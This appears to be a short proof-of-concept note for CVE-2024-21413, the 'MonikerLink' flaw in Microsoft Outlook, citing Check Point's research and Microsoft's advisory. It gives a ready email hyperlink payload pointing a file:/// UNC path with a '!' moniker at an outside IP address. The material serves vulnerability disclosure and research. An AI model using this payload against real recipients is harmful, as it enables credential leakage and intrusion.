Information

Full details have been released at https://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-and-the-big-picture/.

PoC:
An email with Hyperlink like the following:

<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>


References:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413